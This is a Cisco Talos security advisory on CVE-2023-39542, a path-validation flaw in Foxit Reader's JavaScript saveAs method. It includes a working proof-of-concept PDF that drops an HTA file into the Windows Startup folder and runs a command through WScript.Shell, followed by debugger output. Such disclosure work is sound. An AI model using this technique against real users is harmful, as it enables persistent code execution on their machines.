Talos Vulnerability Report

TALOS-2023-1832

Foxit Reader Javascript saveAs arbitrary file creation vulnerability

November 27, 2023
CVE Number

CVE-2023-39542

SUMMARY

A code execution vulnerability exists in the Javascript saveAs API of Foxit Reader 12.1.3.15356. A specially crafted malformed file can create arbitrary files, which can lead to remote code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.1.3.15356

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-73 - External Control of File Name or Path

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists an arbitrary file creation vulnerability in the way Foxit Reader handles the saveAs method of the Doc object. The saveAs method saves the file to the device-independent path specified by the cPath parameter. The vulnerability occurs when a file is created without validating its path and type. This allows the creation of files of dangerous types such as HTA. Subsequent execution of such files can lead to arbitrary code execution. This can be illustrated by the following proof-of-concept code:

5 0 obj
<</Type/Action/S/JavaScript/JS(

function main() {
this.saveAs("/c/users/" + identity.loginName + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/exploit.hta");
}
main();

)>>
endobj

6 0 obj
<</Length 6/Params<</ModDate(D:20230731134730-08'00')/Size 6/CheckSum<FA0903293EC8FC1F19087D0EB2FFDED8>/CreationDate(D:20230731133537-08'00')>>/Filter/FlateDecode/Subtype/application#2Fhta/Type/EmbeddedFile>>
stream
<script language='jscript'>var cmd = 'cmd.exe /c calc.exe'; new ActiveXObject('WScript.Shell').Run(cmd);</script>
endstream
endobj

Here, the saveAs method creates an HTA file in the Startup folder. Files in the Startup folder execute automatically on system startup. The content of the new file is data of the above poc PDF file. The Foxit application encodes the objects before writing them to the new file. This encoding transforms the attacker-controlled suspicious code into the encoded stream, which may not be a valid suspicious code. Execution of transformed code may not be possible unless it is decoded first.

One way to bypass this is to simply provide an encoded object with a stream object containing a valid suspicious code. For example, the object 6 contains the Filter key, with a value that indicates how the stream object is encoded. This tricks the Foxit application into writing the object 6 directly into the new file without performing any type of encoding on the object. The stream object contains JavaScript to run the calc.exe application, so on the execution of the HTA file a calc.exe application will pop up. We can observe the creation of an HTA file in the debugger:

0:000> g
Breakpoint 1 hit
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e893 esp=073fd398 ebp=073fe004 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd83:
0094e893 6a00            push    0
0:000> p
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e895 esp=073fd394 ebp=073fe004 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd85:
0094e895 6a02            push    2
0:000> p
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e897 esp=073fd390 ebp=073fe004 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd87:
0094e897 ff7508          push    dword ptr [ebp+8]    ss:0023:073fe00c=0b07ff58 ;<----------- [1]
0:000> dd 0b07ff58
0b07ff58  003a0063 0075005c 00650073 00730072
0b07ff68  0064005c 00760065 0041005c 00700070
0b07ff78  00610044 00610074 0052005c 0061006f
0b07ff88  0069006d 0067006e 004d005c 00630069
0b07ff98  006f0072 006f0073 00740066 0057005c
0b07ffa8  006e0069 006f0064 00730077 0053005c
0b07ffb8  00610074 00740072 004d0020 006e0065
0b07ffc8  005c0075 00720050 0067006f 00610072
0:000> du 0b07ff58                                     ;<--------------------------------------- [2]
0b07ff58  "c:\users\dev\AppData\Roaming\Mic"
0b07ff98  "rosoft\Windows\Start Menu\Progra"
0b07ffd8  "ms\Startup\exploit.hta"
0:000> p
eax=00000000 ebx=18b335a8 ecx=00000000 edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e89a esp=073fd38c ebp=073fe004 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd8a:
0094e89a e821065701      call    FoxitPDFReader!safe_vsnprintf+0x531760 (01ebeec0) ;<----------- [3]
0:000> p
eax=0ae29460 ebx=18b335a8 ecx=ffffffff edx=07500000 esi=0b07ff58 edi=00000000
eip=0094e89f esp=073fd38c ebp=073fe004 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x4bd8f:
0094e89f 83c40c          add     esp,0Ch

At [1], the first argument of the method at [3] is pushed onto the stack. The value being pushed comes from the stack, and its value can be observed at [2]. The HTA file is passed to the method, and the execution of the method successfully creates the HTA file.

TIMELINE

2023-08-28 - Vendor Disclosure
2023-09-12 - Vendor Patch Release
2023-11-27 - Public Release

Credit

Discovered by Kamlapati Choubey of Cisco Talos.